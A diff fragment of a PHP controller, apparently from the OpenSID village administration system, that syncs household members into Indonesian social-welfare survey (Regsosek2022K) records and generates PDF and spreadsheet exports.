temporary Model::get(), digunakan di generateDefaultDtks() + * ketika ekspor anggota dilakukan, untuk mengurangi hit ke db + * + * @param mixed $model + */ + protected function cacheTemporaryModelGet($model) + { + if ($model instanceof Model) { + $model_class = get_class($model); + } elseif ($model instanceof Builder) { + $model_class = get_class($model->getModel()); + } else { + $model_class = $model; + } + + $class = str_replace('\\', '', $model_class); + if (! isset($this->{$class})) { + try { + if ($model instanceof Model || $model instanceof Builder) { + $this->{$class} = $model->get(); + } else { + $str = "{$model_class}::get();"; + eval("\$this->\$class = {$str};"); + } + + return $this->{$class}; + } catch (Throwable $th) { + return collect(); + } + } else { + return $this->{$class}; + } + } + + public function info() + { + $data = []; + $daftar_bantuan = Bantuan::get(); + $data['daftar_bantuan_keluarga'] = $daftar_bantuan->whereIn('sasaran', [SasaranEnum::KELUARGA]); + $data['daftar_bantuan_anggota'] = $daftar_bantuan->where('sasaran', SasaranEnum::PENDUDUK); + $all_pengaturan_program = DtksPengaturanProgram::where('versi_kuisioner', 2)->get(); + $relasi_program = $this->relasiPengaturanProgram(); + + foreach ($relasi_program as $form_input_name => $item) { + $pengaturan_program = $all_pengaturan_program->where('kode', $form_input_name); + if ($pengaturan_program && substr($form_input_name, -(strlen('default'))) !== 'default') { + $data['name_' . $form_input_name] = $pengaturan_program->first()->id_bantuan; + } elseif ($pengaturan_program && substr($form_input_name, -(strlen('default'))) === 'default') { + $data['name_' . $form_input_name] = $pengaturan_program->first()->nilai_default; + } + } + + return view('admin.dtks.' . \App\Enums\Dtks\DtksEnum::VERSION_CODE . '.info', $data); + } + + public function impor() + { + $data = []; + + return view('admin.dtks.2.impor', $data); + } + + /** + * Set id_keluarga if null, split dtks for each keluarga in rtm + * + * @param mixed $dtks + */ + protected function splitDTKSForEachKeluarga($dtks) + { + $semua_dtks = DTKS::where('id_rtm', $dtks->id_rtm)->whereNotNull('id_keluarga')->get(); + + if ($semua_dtks->count() != $dtks->jumlah_keluarga) { + // lepas semua anggota + DtksAnggota::where('id_dtks', $dtks->id)->update(['id_dtks' => null]); + + // sesuaikan jumlah dtks dengan jumlah keluarga dalam rtm + foreach ($dtks->keluarga_in_rtm as $key => $keluarga) { + $dtks_keluarga = $semua_dtks->where('id_keluarga', $keluarga->id)->first(); + $dtks_resync = null; + // dtks ini belum punya acuan keluarga + if (! $dtks->id_keluarga) { + $dtks->id_keluarga = $keluarga->id; + $this->saveRelatedAttribute($dtks); + $dtks_resync = $dtks; + } + // clone dtks dan set id_keluarga + elseif (! $dtks_keluarga) { + $new_dtks = DTKS::where('id_rtm', $dtks->id_rtm)->whereNull('id_keluarga')->first(); + if ($new_dtks) { + $new_dtks->update(['id_keluarga' => $keluarga->id]); + } else { + $new_dtks = $dtks->replicate()->fill([ + 'id_keluarga' => $keluarga->id, + ]); + $this->saveRelatedAttribute($new_dtks); + } + $semua_dtks->push($new_dtks); + $dtks_resync = $new_dtks; + } else { + $dtks_resync = $dtks; + } + if ($dtks_resync) { + foreach ($dtks_resync->anggota_keluarga_in_rtm[$dtks_resync->id_keluarga] as $agt) { + // cek data dtks anggota yang lepas + $dtks_anggota = DtksAnggota::where('id_penduduk', $agt->id)->first(); + if (! $dtks_anggota) { + $dtks_anggota = new DtksAnggota(); + } + $dtks_anggota->id_penduduk = $agt->id; + $dtks_anggota->id_keluarga = $dtks_resync->id_keluarga; + $dtks_anggota->id_dtks = $dtks_resync->id; + $this->saveRelatedAttribute($dtks_anggota); + } + } + } + + // lepaskan keluarga yang tidak termasuk dalam rtm + DTKS::where('id_rtm', $dtks->id_rtm) + ->whereNotIn('id_keluarga', $dtks->keluarga_in_rtm->pluck('id')) + ->update(['id_keluarga' => null]); + } + } + + /** + * lepas anggota DTKS yg tidak ditemukan di tweb_penduduk status hidup, + * masukkan data anggotaDtks yg terlepas / buat sync baru jika belum ada, + * gabungkan identitas anggota dengan existing data di openSID + * + * @param mixed $dtks + */ + public function generateDefaultDtks($dtks): Dtks + { + $dtks->setAppends([ + 'kepala_keluarga', + 'jumlah_keluarga', + 'jumlah_anggota_dtks', + 'no_kk_art', + ]); + $dtks->loadMissing([ + 'rtm', + 'rtm.kepalaKeluarga' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withOnly('Wilayah', 'keluarga'); + }, + 'rtm.anggota' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withOnly(['keluarga', 'pekerjaan', 'pendidikan', 'pendidikanKK']); + // hanya ambil data anggota yg masih hidup (tweb_penduduk) + $builder->where('status_dasar', 1); + }, + ]); + $this->splitDTKSForEachKeluarga($dtks); + + if ($dtks->anggota_keluarga_in_rtm[$dtks->id_keluarga] == null) { + $ids_anggota = collect([]); + } else { + $ids_anggota = $dtks->anggota_keluarga_in_rtm[$dtks->id_keluarga]->pluck('id'); + } + + // lepas anggota DTKS yg tidak ditemukan di tweb_penduduk status hidup + $dtks_anggotas = DtksAnggota::whereNotIn('id_penduduk', $ids_anggota) + ->where('id_dtks', $dtks->id) + ->update(['id_dtks' => null]); + + $ref_eloquent_collection['hubungan_dengan_kk'] = $this->cacheTemporaryModelGet(PendudukHubungan::class); + $ref_eloquent_collection['kia'] = KIA::whereIn('ibu_id', $ids_anggota) + ->orWhereIn('anak_id', $ids_anggota)->get(); + // masukkan data anggotaDtks yg terlepas / buat sync baru jika belum ada + if ($ids_anggota->count() > $dtks->dtksAnggota->count()) { + $existing_dtks_anggotas = DtksAnggota::whereIn('id_penduduk', $ids_anggota); + $existing_dtks_anggotas->update(['id_dtks' => $dtks->id]); + $ids_existing_dtks_anggotas = $existing_dtks_anggotas->pluck('id_penduduk'); + $new_anggota = $ids_anggota->diff($ids_existing_dtks_anggotas); + // buat sync baru + if ($new_anggota->count() > 0) { + $daftar_sakit_menahun = $this->cacheTemporaryModelGet(SakitMenahun::class); + $daftar_pendidikan = $this->cacheTemporaryModelGet(Pendidikan::class); + + foreach ($dtks->anggota_keluarga_in_rtm[$dtks->id_keluarga]->whereIn('id', $new_anggota) as $agt) { + $usia_dinamis = $agt->umur; // attribute + $dtks_anggota = new DtksAnggota(); + $dtks_anggota->id_dtks = $dtks->id; + $dtks_anggota->id_penduduk = $agt->id; + $dtks_anggota->id_keluarga = $agt->keluarga->id; + + $kepala_keluarga = $dtks->keluarga->kepalaKeluarga; + $dtks_anggota = $this->syncKetDemografi($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + + if ($usia_dinamis >= 5) { + $dtks_anggota = $this->syncPendidikan($dtks_anggota, $agt, $daftar_pendidikan); + $dtks_anggota = $this->syncKetenagakerjaan($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + $dtks_anggota = $this->syncKepemilikanUsaha($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + } + + $dtks_anggota = $this->syncKesehatan($dtks_anggota, $agt, $daftar_sakit_menahun); + $dtks_anggota = $this->syncProgramPerlindunganSosial($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + $this->saveRelatedAttribute($dtks_anggota); + } + } + } + + // hanya ambil field yg digunakan + $dtks->load([ + 'dtksAnggota' => static function ($builder) { + $builder->select(Regsosek2022kEnum::getUsedFields()['dtks_anggota']); + }, + ]); + // gabungkan identitas anggota dengan existing data di openSID + $dtks->dtksAnggota = $dtks->dtksAnggota->transform(function ($item) use ($dtks, $ref_eloquent_collection) { + $tmp_anggota = $dtks->anggota_keluarga_in_rtm[$dtks->id_keluarga]->where('id', $item->id_penduduk)->first(); + $kepala_keluarga = $dtks->keluarga->kepalaKeluarga; + $item = $this->syncKetDemografi($item, $tmp_anggota, $kepala_keluarga, $ref_eloquent_collection); + $item = $this->syncProgramPerlindunganSosial($item, $tmp_anggota, $kepala_keluarga, []); + + $this->saveRelatedAttribute($item); + + $item->no_kk = $tmp_anggota->keluarga->no_kk; // 402 + $item->nama = $tmp_anggota->nama; // 402 + $item->nik = $tmp_anggota->nik; // 403 + $item->kd_jenis_kelamin = $tmp_anggota->sex; // 405 + $item->tgl_lahir = $tmp_anggota->tanggallahir; // 406 + $item->umur = $tmp_anggota->umur; // getAttribute // 407 + $item->kd_stat_perkawinan = $tmp_anggota->status_kawin; // 408 + $item->kd_status_kehamilan = $tmp_anggota->hamil ?? '2'; // 410 // 2. Tidak Hamil + // digunakan untuk membantu memilih pekerjaan dan pendidikan + $item->pekerjaan_saat_ini = $tmp_anggota->pekerjaan->nama; + $item->pendidikan_saat_ini = $tmp_anggota->pendidikan->nama; + $item->pendidikan_kk_saat_ini = $tmp_anggota->pendidikanKK->nama; + + if ($tmp_anggota->usia >= 5) { + // jika sedang sekolah, resync + if ($item->kd_partisipasi_sekolah = 2) { + // load sekali + $daftar_pendidikan = $this->cacheTemporaryModelGet(new Pendidikan()); + $this->syncPendidikan($item, $tmp_anggota, $daftar_pendidikan); + } + $daftar_sakit_menahun = $this->cacheTemporaryModelGet(SakitMenahun::class); + $this->syncKesehatan($item, $tmp_anggota, $daftar_sakit_menahun); + } + + return $item; + }); + + if ($dtks->jumlah_keluarga > 1) { + $dtks->all_dtks_id = DTKS::select('id', 'id_rtm', 'id_keluarga', 'versi_kuisioner') + ->withOnly([ + 'rtm' => static function ($builder) { + $builder->select('id', 'nik_kepala'); + }, + 'rtm.kepalaKeluarga' => static function ($builder) { + $builder->select('id', 'nama'); + // override all items within the $with property in Penduduk + $builder->without([ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + ]); + }, + 'keluarga' => static function ($builder) { + $builder->select('id', 'nik_kepala', 'no_kk'); + }, + 'keluarga.kepalaKeluarga' => static function ($builder) { + $builder->select('id', 'nama'); + // override all items within the $with property in Penduduk + $builder->without([ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + ]); + }, + ]) + ->withCount('dtksAnggota') + ->where('id_rtm', $dtks->id_rtm) + ->whereNotNull('id_keluarga') + ->get(); + } + + return $this->syncKepesertaanProgramKeluarga($dtks); + } + + public function form(Dtks $dtks) + { + $desa = SettingAplikasi::whereIn('key', [ + 'sebutan_desa', 'sebutan_kecamatan', 'sebutan_kabupaten', + ])->get(); + // echo json_encode($data['dtks']); + // die(); + foreach ($desa as $item) { + $data[$item->key] = ucwords($item->value); + } + + if (! $dtks->id_rtm) { + return json(['message' => 'Formulir Tidak terhubung ke Rumah Tangga'], 404); + } + + $data['dtks'] = $this->generateDefaultDtks($dtks); + + try { + $kode_desa_bps = getKodeDesaFromTrackSID()['bps_kemendagri_desa']['kode_desa_bps']; + + if (! $dtks->kode_provinsi || ! $dtks->kode_kabupaten || ! $dtks->kode_kecamatan || ! $dtks->kode_desa) { + // I. Keterangan Tempat + $dtks->kode_provinsi = $kode_desa_bps ? substr($kode_desa_bps, 0, 2) : ''; // 101 + $dtks->kode_kabupaten = $kode_desa_bps ? substr($kode_desa_bps, 0 + 2, 2) : ''; // 102 + $dtks->kode_kecamatan = $kode_desa_bps ? substr($kode_desa_bps, 0 + 2 + 2, 3) : ''; // 103 + $dtks->kode_desa = $kode_desa_bps ? substr($kode_desa_bps, 0 + 2 + 2 + 3, 3) : ''; // 104 + $this->saveRelatedAttribute($dtks); + } + $data['dtks_prov'] = getKodeDesaFromTrackSID()['nama_prov']; + $data['dtks_kab'] = getKodeDesaFromTrackSID()['nama_kab']; + $data['dtks_kec'] = getKodeDesaFromTrackSID()['nama_kec']; + $data['dtks_desa'] = $kode_desa_bps . ' | ' . getKodeDesaFromTrackSID()['nama_desa']; + } catch (Throwable $th) { + $data['dtks_prov'] = ''; + $data['dtks_kab'] = ''; + $data['dtks_kec'] = ''; + $data['dtks_desa'] = ''; + log_message('error', $th); + } + + $data['bulan'] = bulan(); + $data['tahun_awal'] = 2005; //dipakai: form Periode Terakhir Mendapatkan Program, dll + $data['pilihan1'] = Regsosek2022kEnum::pilihanBagian1(); + $data['pilihan2'] = Regsosek2022kEnum::pilihanBagian2(); + $data['pilihan3'] = Regsosek2022kEnum::pilihanBagian3(); + $data['pilihan4'] = Regsosek2022kEnum::pilihanBagian4(); + $data['pilihan5'] = Regsosek2022kEnum::pilihanBagian5(); + $data['judul_lampiran'] = DtksLampiran::select(DB::raw('DISTINCT(judul)'))->get()->pluck('judul'); + + return view('admin.dtks.2.form', $data); + } + + protected function generateCetakPdf(Dtks $dtks, $preview = false) + { + // digunakan di file template + try { + $prov = getKodeDesaFromTrackSID()['nama_prov']; + $kab = getKodeDesaFromTrackSID()['nama_kab']; + $kec = getKodeDesaFromTrackSID()['nama_kec']; + $desa = getKodeDesaFromTrackSID()['nama_desa']; + } catch (Throwable $th) { + $prov = ''; + $kab = ''; + $kec = ''; + $desa = ''; + log_message('error', $th); + } + $dtks = $this->generateDefaultDtks($dtks); + $nama_file = 'cetak_regsosek2022k_' . $dtks->kepala_keluarga->nik + . '_' . $dtks->id_rtm . '_' . str_replace([':', '-', ' '], '', $dtks->updated_at) . '.pdf'; + $path = FCPATH . LOKASI_FOTO_DTKS . $nama_file; + + if (! is_file($path) || $preview) { + // OK, berkas ada. Ambil konten berkasnya + if (is_file($path) && $preview) { + $data = file_get_contents($path); + // Generate the server headers + header('Content-Type: application/pdf'); + header('Content-Disposition: inline; filename="' . $nama_file . '"'); + header('Expires: 0'); + header('Content-Transfer-Encoding: binary'); + header('Content-Length: ' . strlen($data)); + header('Cache-Control: private, no-transform, no-store, must-revalidate'); + + return readfile($path); + } + + // cari berkas dtks lama untuk dihapus + foreach (glob(FCPATH . LOKASI_FOTO_DTKS . 'cetak_regsosek2022k_' . $dtks->kepala_keluarga->nik + . '_' . $dtks->id_rtm . '_*.pdf') as $file) { + if (file_exists($file)) { + unlink($file); + break; + } + } + + // convert in PDF + try { + // get the HTML using output buffer + ob_start(); + + include FCPATH . config_item('views_blade') . '/admin/dtks/2/cetak.php'; + $content = ob_get_clean(); + + $html2pdf = new Html2Pdf(); + // $html2pdf->pdf->SetDisplayMode('fullpage'); + $html2pdf->writeHTML($content); + + $html2pdf->output($path, $preview ? 'FI' : 'F'); + } catch (Html2PdfException $e) { + $html2pdf->clean(); + log_message('error', $formatter->getHtmlMessage()); + } + } + + return ['file' => $path, 'nama' => $nama_file, 'id' => $dtks->id, 'status_file' => 1]; + } + + public function cetakPreviewSingle(Dtks $dtks) + { + $this->generateCetakPdf($dtks, true); + } + + /** + * @return array ['file'=>'', 'nama' => '', 'id'=>'', 'status_file'=>boolean] + */ + public function cetakZip(Collection $many_dtks): array + { + $list_path = []; + $buat_file_sekali = null; + + foreach ($many_dtks as $dtks) { + $nama_file = 'cetak_regsosek2022k_' . $dtks->kepala_keluarga->nik + . '_' . $dtks->id_rtm . '_' . str_replace([':', '-', ' '], '', $dtks->updated_at) . '.pdf'; + $path = FCPATH . LOKASI_FOTO_DTKS . $nama_file; + + if (! is_file($path)) { + if ($buat_file_sekali == null) { + $buat_file_sekali = $dtks; + } else { + $list_path[] = ['file' => $path, 'nama' => $nama_file, 'id' => $dtks->id, 'status_file' => 0]; + } + } else { + $list_path[] = ['file' => $path, 'nama' => $nama_file, 'id' => $dtks->id, 'status_file' => 1]; + } + } + + if ($buat_file_sekali) { + $list_path[] = $this->generateCetakPdf($buat_file_sekali); + } + + return $list_path; + } + + public function ekspor() + { + $file = namafile('Dtks Regsosek2022k') . '.xlsx'; + + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser($file); + + $dtks_v2 = Dtks::whereNotNull('id_rtm')->where('versi_kuisioner', DtksEnum::REGSOS_EK2022_K)->get(); + + $this->eksporKeluarga($writer, $dtks_v2); + $this->eksporAnggota($writer, $dtks_v2); + + $writer->close(); + } + + protected function eksporKeluarga(&$writer, $dtks_v2) + { + $judul = [ + ['Terakhir diubah', ''], // 0,1 + ['I. KETERANGAN TEMPAT', '101'], // 1,1 : 15,1 // 02 + ['', '102'], // 03 + ['', '103'], // 04 + ['', '104'], // 05 + ['', '105'], // 06 + ['', '105a Kode Sub SLS'], // 07 + ['', '106'], // 08 + ['', '107'], // 09 + ['', '108'], // 10 + ['', '109'], // 11 + ['', '110 No Urut Keluarga'], // 12 + ['', '111'], // 13 + ['', '112'], // 14 + ['', '113'], // 15 + ['', '114'], // 16 + ['', '115'], // 17 + + ['II. KETERANGAN PETUGAS', '201', 'tanggal_pendataan'], + ['', '202', 'nama_ppl'], + ['', '202a Kode PPL', 'kode_ppl'], + ['', '203', 'tanggal_pemeriksaan'], + ['', '204', 'nama_pml'], + ['', '204a Kode Pemeriksa', 'kode_pml'], + ['', 'Responden', 'nama_responden'], + ['', 'No Hp responden', 'no_hp_responden'], + ['', '205', 'kd_hasil_pendataan_keluarga'], + + ['III. KETERANGAN PERUMAHAN', '301a', 'kd_stat_bangunan_tinggal'], + ['', '301b', 'kd_sertiv_lahan_milik'], + ['', '302', 'luas_lantai'], + ['', '303', 'kd_jenis_lantai_terluas'], + ['', '304', 'kd_jenis_dinding'], + ['', '305', 'kd_jenis_atap'], + ['', '306a', 'kd_sumber_air_minum'], + ['', '306b', 'kd_jarak_sumber_air_ke_tpl'], + ['', '307a', 'kd_sumber_penerangan_utama'], + ['', '307b1', 'kd_daya_terpasang'], + ['', '307b2', 'kd_daya_terpasang2'], + ['', '307b3', 'kd_daya_terpasang3'], + ['', '308', 'kd_bahan_bakar_memasak'], + ['', '309a', 'kd_fasilitas_tempat_bab'], + ['', '309b', 'kd_jenis_kloset'], + ['', '310', 'kd_pembuangan_akhir_tinja'], + + ['V. KEIKUTSERTAAN PROGRAM, KEPEMILIKAN ASET, DAN LAYANAN', '501a', 'kd_bss_bnpt'], + ['', '501a Bulan', 'bulan_bss_bnpt'], + ['', '501a Tahun', 'tahun_bss_bnpt'], + ['', '501b', 'kd_pkh'], + ['', '501b Bulan', 'bulan_pkh'], + ['', '501b Tahun', 'tahun_pkh'], + ['', '501c', 'kd_blt_dana_desa'], + ['', '501c Bulan', 'bulan_blt_dana_desa'], + ['', '501c Tahun', 'tahun_blt_dana_desa'], + ['', '501d', 'kd_subsidi_listrik'], + ['', '501d Bulan', 'bulan_subsidi_listrik'], + ['', '501d Tahun', 'tahun_subsidi_listrik'], + ['', '501e', 'kd_bantuan_pemda'], + ['', '501e Bulan', 'bulan_bantuan_pemda'], + ['', '501e Tahun', 'tahun_bantuan_pemda'], + ['', '501f', 'kd_subsidi_pupuk'], + ['', '501f Bulan', 'bulan_subsidi_pupuk'], + ['', '501f Tahun', 'tahun_subsidi_pupuk'], + ['', '501g', 'kd_subsidi_lpg'], + ['', '501g Bulan', 'bulan_subsidi_lpg'], + ['', '501g Tahun', 'tahun_subsidi_lpg'], + ['', '502a', 'kd_tabung_gas_5_5_kg'], + ['', '502b', 'kd_lemari_es'], + ['', '502c', 'kd_ac'], + ['', '502d', 'kd_pemanas_air'], + ['', '502e', 'kd_telepon_rumah'], + ['', '502f', 'kd_televisi'], + ['', '502g', 'kd_perhiasan_10_gr_emas'], + ['', '502h', 'kd_komputer_laptop'], + ['', '502i', 'kd_sepeda_motor'], + ['', '502j', 'kd_sepeda'], + ['', '502k', 'kd_mobil'], + ['', '502l', 'kd_perahu'], + ['', '502m', 'kd_kapal_perahu_motor'], + ['', '502n', 'kd_smartphone'], + ['', '503a', 'kd_lahan'], + ['', '503b', 'kd_rumah_ditempat_lain'], + ['', '504a', 'jumlah_sapi'], + ['', '504b', 'jumlah_kerbau'], + ['', '504c', 'jumlah_kuda'], + ['', '504d', 'jumlah_babi'], + ['', '504e', 'jumlah_kambing_domba'], + ['', '505', 'kd_internet_sebulan'], + ['', '506', 'kd_rek_aktif'], + ['VI. CATATAN', 'Catatan', 'catatan'], + ]; + $writer->getCurrentSheet()->setName('Keluarga'); + $writer->addRow(WriterEntityFactory::createRowFromArray(array_column($judul, 0))); + $writer->addRow(WriterEntityFactory::createRowFromArray(array_column($judul, 1))); + + // $writer->mergeCells([0,1] , [0,2]); // updated_at + // $writer->mergeCells([1,1] , [16,1]); // bag 1 + // $writer->mergeCells([17,1] , [25,1]); // bag 2 + // $writer->mergeCells([26,1] , [41,1]); // bag 3 + // $writer->mergeCells([42,1] , [85,1]); // bag 5 + // $writer->mergeCells([86,1] , [86,2]); // catatan + + foreach ($dtks_v2 as $dtks) { + $dtks = $this->generateDefaultDtks($dtks); + $data = [ + '' . $dtks->updated_at, // agar tidak di konversi ke angka + $dtks->kode_provinsi, + $dtks->kode_kabupaten, + $dtks->kode_kecamatan, + $dtks->kode_desa, + $dtks->kode_sls_non_sls, + $dtks->kode_sub_sls, + $dtks->nama_sls_non_sls, + $dtks->keluarga->kepalaKeluarga->alamat_wilayah, + $dtks->keluarga->kepalaKeluarga->nama, + $dtks->no_urut_bangunan_tinggal, + $dtks->no_urut_keluarga_verif, + $dtks->status_keluarga, + $dtks->jumlah_anggota_dtks, + $dtks->kode_landmark_wilkerstat, + $dtks->kepala_keluarga->keluarga->no_kk, + $dtks->kd_kk, + ]; + // dapatkan kode field di judul kolom 'index 2', kemudian gabung ke data + foreach (array_column(array_slice($judul, 16, count($judul)), 2) as $field) { + if (in_array($field, ['tanggal_pendataan', 'tanggal_pemeriksaan'])) { + $data[] = '' . $dtks->{$field}; + } else { + $data[] = $dtks->{$field}; + } + } + + $writer->addRow(WriterEntityFactory::createRowFromArray($data)); + } + } + + protected function eksporAnggota(&$writer2, $dtks_v2) + { + $judul = [ + ['I. KETERANGAN TEMPAT', '', '101'], // 01 + ['', '', '102'], // 02 + ['', '', '103'], // 03 + ['', '', '104'], // 04 + ['', '', '105'], // 05 + ['', '', '105a Kode Sub SLS'], // 06 + ['', '', '109'], // 07 + ['', '', '110 No Urut Keluarga'], // 08 + ['IV. KETERANGAN SOSIAL EKONOMI ANGGOTA KELUARGA', 'A. KETERANGAN DEMOGRAFI', 'No KK'], // 09 + ['', '', '401'], // 09 + ['', '', '402 Nama'], // 10 + ['', '', '403 NIK'], // 11 + ['', '', '404', 'kd_ket_keberadaan_art'], // 12 + ['', '', '405'], // 13 + ['', '', '406'], // 14 + ['', '', '407'], // 15 + ['', '', '408'], // 16 + ['', '', '409', 'kd_hubungan_dg_kk'], // 17 + ['', '', '410'], // 18 + ['', '', '411', 'kd_punya_kartuid'], // 19 + ['', 'B. Pendidikan', '412', 'kd_partisipasi_sekolah'], // 20 + ['', '', '413', 'kd_pendidikan_tertinggi'], + ['', '', '414', 'kd_kelas_tertinggi'], + ['', '', '415', 'kd_ijazah_tertinggi'], + ['', 'C. Ketenagakerjaan', '416a', 'kd_bekerja_seminggu_lalu'], // 24 + ['', '', '416b', 'jumlah_jam_kerja_seminggu_lalu'], + ['', '', '417', 'kd_lapangan_usaha_pekerjaan'], + ['', '', '417 Tulis', 'tulis_lapangan_usaha_pekerjaan'], + ['', '', '418', 'kd_kedudukan_di_pekerjaan'], + ['', '', '419', 'kd_punya_npwp'], + ['', 'D. Kepemilikan Usaha', '420a', 'kd_punya_usaha_sendiri_bersama'], // 30 + ['', '', '420b', 'jumlah_usaha_sendiri_bersama'], + ['', '', '421', 'kd_lapangan_usaha_dr_usaha'], + ['', '', '421 Tulis', 'tulis_lapangan_usaha_dr_usaha'], + ['', '', '422', 'jumlah_pekerja_dibayar'], + ['', '', '423', 'jumlah_pekerja_tidak_dibayar'], + ['', '', '424', 'kd_kepemilikan_ijin_usaha'], + ['', '', '425', 'kd_omset_usaha_perbulan'], + ['', '', '426', 'kd_guna_internet_usaha'], + ['', 'E. Kesehatan', '427', 'kd_gizi_seimbang'], // 39 + ['', '', '428a', 'kd_sulit_penglihatan'], + ['', '', '428b', 'kd_sulit_pendengaran'], + ['', '', '428c', 'kd_sulit_jalan_naiktangga'], + ['', '', '428d', 'kd_sulit_gerak_tangan_jari'], + ['', '', '428e', 'kd_sulit_belajar_intelektual'], + ['', '', '428f', 'kd_sulit_perilaku_emosi'], + ['', '', '428g', 'kd_sulit_paham_bicara_kom'], + ['', '', '428h', 'kd_sulit_mandiri'], + ['', '', '428i', 'kd_sulit_ingat_konsentrasi'], + ['', '', '428j', 'kd_sering_sedih_depresi'], + ['', '', '429', 'kd_memiliki_perawat'], + ['', '', '430', 'kd_penyakit_kronis_menahun'], + ['', 'F. Program Perlindungan Sosial', '431a', 'kd_jamkes_setahun'], //52 + ['', '', '431b', 'kd_ikut_prakerja'], + ['', '', '431c', 'kd_ikut_kur'], + ['', '', '431d', 'kd_ikut_umi'], + ['', '', '431e', 'kd_ikut_pip'], + ['', '', '431f', 'jumlah_jamket_kerja'], + ]; + + $writer2->addNewSheetAndMakeItCurrent()->setName('Anggota Keluarga'); + $writer2->addRow(WriterEntityFactory::createRowFromArray(array_column($judul, 0))); + $writer2->addRow(WriterEntityFactory::createRowFromArray(array_column($judul, 1))); + $writer2->addRow(WriterEntityFactory::createRowFromArray(array_column($judul, 2))); + + // $writer2->mergeCells([0,1] , [7, 2]); // Bag 1 + // $writer2->mergeCells([8, 1] , [56, 1]); // Bag 4 + // $writer2->mergeCells([9, 2] , [18, 2]); // demogra + // $writer2->mergeCells([20, 2] , [22, 2]); // pen + // $writer2->mergeCells([24, 2] , [28, 2]); // ketkerja + // $writer2->mergeCells([30, 2] , [37, 2]); // kep usaha + // $writer2->mergeCells([38, 2] , [50, 2]); // kesehat + // $writer2->mergeCells([51, 2] , [56, 2]); // prog sos + + foreach ($dtks_v2 as $dtks) { + $dtks = $this->generateDefaultDtks($dtks); + + foreach ($dtks->dtksAnggota as $key => $agt) { + $data = [ + $dtks->kode_provinsi, + $dtks->kode_kabupaten, + $dtks->kode_kecamatan, + $dtks->kode_desa, + $dtks->kode_sls_non_sls, + $dtks->kode_sub_sls, + $dtks->no_urut_bangunan_tinggal, + $dtks->no_urut_keluarga_verif, + + $agt->no_kk, + $key + 1, + $agt->nama, + $agt->nik, + $agt->kd_ket_keberadaan_art, + $agt->kd_jenis_kelamin, + $agt->tgl_lahir->format('Y-m-d'), + $agt->umur, + $agt->kd_stat_perkawinan, + $agt->kd_hubungan_dg_kk, + $agt->kd_status_kehamilan, + $agt->kd_punya_kartuid, + ]; + // dapatkan kode field di judul kolom 'index 2', kemudian gabung ke data + foreach (array_column(array_slice($judul, 19, count($judul)), 3) as $field) { + $data[] = $agt->{$field}; + } + + $writer2->addRow(WriterEntityFactory::createRowFromArray($data)); + } + } + } + + /** + * Syncronize Data OpenSid to Form RegsosEk2022K + * + * @param \App\Models\Config $config + */ + public function syncronizeWithOpenSid(Dtks $dtks): Dtks + { + $dtks->load([ + 'rtm', + 'rtm.kepalaKeluarga' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withOnly('Wilayah', 'keluarga'); + }, + 'rtm.anggota' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withOnly('keluarga'); + // hanya ambil data anggota yg masih hidup (tweb_penduduk) + $builder->where('status_dasar', 1); + }, + ]); + + try { + $kode_desa_bps = getKodeDesaFromTrackSID()['bps_kemendagri_desa']['kode_desa_bps']; + + // I. Keterangan Tempat + $dtks->kode_provinsi = $kode_desa_bps ? substr($kode_desa_bps, 0, 2) : ''; // 101 + $dtks->kode_kabupaten = $kode_desa_bps ? substr($kode_desa_bps, 0 + 2, 2) : ''; // 102 + $dtks->kode_kecamatan = $kode_desa_bps ? substr($kode_desa_bps, 0 + 2 + 2, 3) : ''; // 103 + $dtks->kode_desa = $kode_desa_bps ? substr($kode_desa_bps, 0 + 2 + 2 + 3, 3) : ''; // 104 + } catch (Throwable $th) { + log_message('error', $th); + } + // $dtks->kode_sls_non_sls = null; // 105 + // $dtks->kode_sub_sls = null; // 105_sub + $dtks->nama_sls_non_sls = $dtks->keluarga->kepalaKeluarga->alamat_wilayah; // 106 + // $dtks->alamat = $dtks->keluarga->kepalaKeluarga->alamat_wilayah; // attribute // 107 + // $dtks->nik_krt = $dtks->keluarga->kepalaKeluarga->nik; + // $dtks->no_urut_bangunan_tinggal = null; // 109 + // $dtks->no_urut_keluarga_verif = null; // 110 + // $dtks->status_keluarga = null; // 111 + // $dtks->kode_landmark_wilkerstat = null; // 113 + // $dtks->no_kk = $dtks->keluarga->kepalaKeluarga->keluarga->no_kk; // 114 + // $dtks->kd_kk = null; // 115 + + $this->saveRelatedAttribute($dtks); + + $ref_eloquent_collection['hubungan_dengan_kk'] = $this->cacheTemporaryModelGet(PendudukHubungan::class); + $daftar_sakit_menahun = $this->cacheTemporaryModelGet(SakitMenahun::class); + $daftar_pendidikan = $this->cacheTemporaryModelGet(Pendidikan::class); + $ref_eloquent_collection['kia'] = KIA::whereIn('ibu_id', $dtks->rtm->anggota->pluck('id')) + ->orWhereIn('anak_id', $dtks->rtm->anggota->pluck('id'))->get(); + + $kepala_keluarga = $dtks->rtm->kepalaKeluarga; + $dtks_anggotas = []; + + foreach ($dtks->rtm->anggota as $agt) { + // cek data dtks anggota yang lepas + $dtks_anggota = DtksAnggota::where('id_penduduk', $agt->id)->first(); + if (! $dtks_anggota) { + $dtks_anggota = new DtksAnggota(); + } + $usia_dinamis = $agt->umur; // attribute + $dtks_anggota->id_penduduk = $agt->id; + $dtks_anggota->id_keluarga = $agt->keluarga->id; + + $dtks_anggota = $this->syncKetDemografi($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + + if ($usia_dinamis >= 5) { + $dtks_anggota = $this->syncPendidikan($dtks_anggota, $agt, $daftar_pendidikan); + $dtks_anggota = $this->syncKetenagakerjaan($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + $dtks_anggota = $this->syncKepemilikanUsaha($dtks_anggota, $agt, $kepala_keluarga, 